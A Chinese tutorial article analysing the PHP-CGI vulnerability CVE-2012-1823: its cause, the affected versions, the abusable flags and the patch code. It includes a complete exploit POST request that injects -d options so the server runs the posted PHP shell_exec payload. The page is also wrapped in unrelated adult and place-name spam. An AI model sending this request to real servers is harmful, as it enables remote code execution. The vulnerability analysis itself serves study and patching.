中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行CVE-2012-1823的漏洞分析

發布時間:2021-12-27 18:14:06 來源:億速云 閱讀:188 作者:柒染 欄目:網絡管理

今天就跟大家聊聊有關如何進行CVE-2012-1823的漏洞分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

1. PHP的四種運行模式(你需要知道的)

(1)CGI

       全稱是“通用網關接口”(Common Gateway Interface), 它可以讓一個客戶端,從網頁瀏覽器向執行在Web服務器上的程序請求數據,描述的是客戶端和這個程序之間傳輸數據的一種標準,另外CGI獨立于任何語言,所以可以用任何一種語言編寫,只要這種語言具有標準輸入、輸出和環境變量。如php,perl,tcl等。

       CGI針對每個用戶請求都要開單獨的子進程去維護,所以數量多的時候會出現性能問題,最近幾年很少用。

(2)FastCGI

       CGI的升級版本,FastCGI 像是一個常駐 (long-live) 型的 CGI,它可以一直執行著,只要激活后,不會每次都要花費時間去解析php.ini、重新載入全部dll擴展并重初始化全部數據結構。

       PHP使用PHP-FPM(FastCGI Process Manager),全稱PHP FastCGI進程管理器進行管理。

(3)Cli

        PHP-CLI是PHP Command Line Interface的簡稱,就是PHP在命令行運行的接口,區別于在Web服務器上運行的PHP環境(PHP-CGI等)。

        在php-cli模式下我們可以直接啟動一個php文件并執行,就像workerman中一樣

(4)Module加載

     這種方式一般是針對apache而言的,它是把php作為apache的一個子模塊來運行。

2. 進入正題

(1)漏洞影響范圍

       漏洞影響版本 php < 5.3.12 or php < 5.4.2

       CVE-2012-1823是在php-cgi運行模式下出現的漏洞,其漏洞只出現在以cgi模式運行的php中。

(2)漏洞成因

       這個漏洞簡單來說,就是用戶請求的querystring(querystring字面上的意思就是查詢字符串,一般是對http請求所帶的數據進行解析,這里也是只http請求中所帶的數據)被作為了php-cgi的參數,最終導致了一系列結果。

       RFC3875中規定,當querystring中不包含沒有解碼的=號的情況下,要將querystring作為cgi的參數傳入。所以Apache服務器按要求實現了這個功能。但PHP并沒有注意到RFC的這一個規則,也許是曾經注意并處理了,處理方法就是web上下文中不允許傳入參數。但開發者是為了方便使用類似#!/usr/local/bin/php-cgi -d include_path=/path的寫法來進行測試,認為不應該限制php-cgi接受命令行參數,而且這個功能不和其他代碼有任何沖突。

      于是,源程序中的if(!cgi) getopt(...)被刪掉了。

      根據RFC中對于command line的說明,命令行參數不光可以通過#!/usr/local/bin/php-cgi -d include_path=/path的方式傳入php-cgi,更可以通過querystring的方式傳入。

(3)漏洞利用

       cgi模式下有如下可控命令行參數可用:

  • -c 指定php.ini文件(PHP的配置文件)的位置

  • -n 不要加載php.ini文件

  • -d 指定配置項

  • -b 啟動fastcgi進程

  • -s 顯示文件源碼

  • -T 執行指定次該文件

  • -h-? 顯示幫助

       那么最簡單的利用方式就是-s可以直接顯示源碼(這里是自己搭建的環境):

如何進行CVE-2012-1823的漏洞分析

       一個更好的利用方法是通過使用-d指定auto_prepend_file來制造任意文件包含漏洞,執行任意代碼:

        其原理是:利用可控命令行參數 -d 將allow_url_include 得值設為 on 并使用 auto_prepend_file 函數在頁面頂部加載文件,而構造加載的文件為 php://input 讀取的原始POST數據(也就是傳輸的數據  <?php echo shell_exec("ls");?> 的執行結果),并傳遞到回應包里。(其中用“+”代替了“空格”,并將“=”和“:”進行了URL編碼)構造請求頭如下:

       POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1

       Host: 127.0.0.1:8080

       User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

       Accept-Language: en-US,en;q=0.5

       Accept-Encoding: gzip, deflate

       Connection: close

       Upgrade-Insecure-Requests: 1

       Content-Length: 30

       <?php echo shell_exec("ls");?>

       在burp中構造執行的結果如下:

如何進行CVE-2012-1823的漏洞分析

 (4)漏洞修復

        修復原理是:獲取querystring后進行解碼,先跳過所有空白符(小于等于空格的所有字符),再判斷第一個字符是否是-。如果第一個字符是-則設置skip_getopt,也就是不要獲取命令行參數。修復源碼如下

        if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {

               /* we've got query string that has no = - apache CGI will pass it to command line */

                unsigned char *p;

               decoded_query_string = strdup(query_string);

               php_url_decode(decoded_query_string, strlen(decoded_query_string));

               for (p = decoded_query_string; *p &&  *p <= ' '; p++) {

               /* skip all leading spaces */

              }   

              if(*p == '-') {

                    skip_getopt = 1;

              }

              free(decoded_query_string);

        }

看完上述內容,你們對如何進行CVE-2012-1823的漏洞分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

靖江市| 黑龙江省| 广汉市| 五大连池市| 逊克县| 龙南县| 禹州市| 晋州市| 宽城| 德令哈市| 平原县| 屏东市| 休宁县| 皋兰县| 涿鹿县| 广饶县| 盐津县| 环江| 乐陵市| 和硕县| 尚志市| 冷水江市| 合山市| 南丹县| 咸宁市| 安仁县| 武汉市| 黑龙江省| 抚顺市| 长春市| 辽阳市| 庄浪县| 华蓥市| 瑞昌市| 龙游县| 古浪县| 日照市| 新和县| 米易县| 陵川县| 越西县|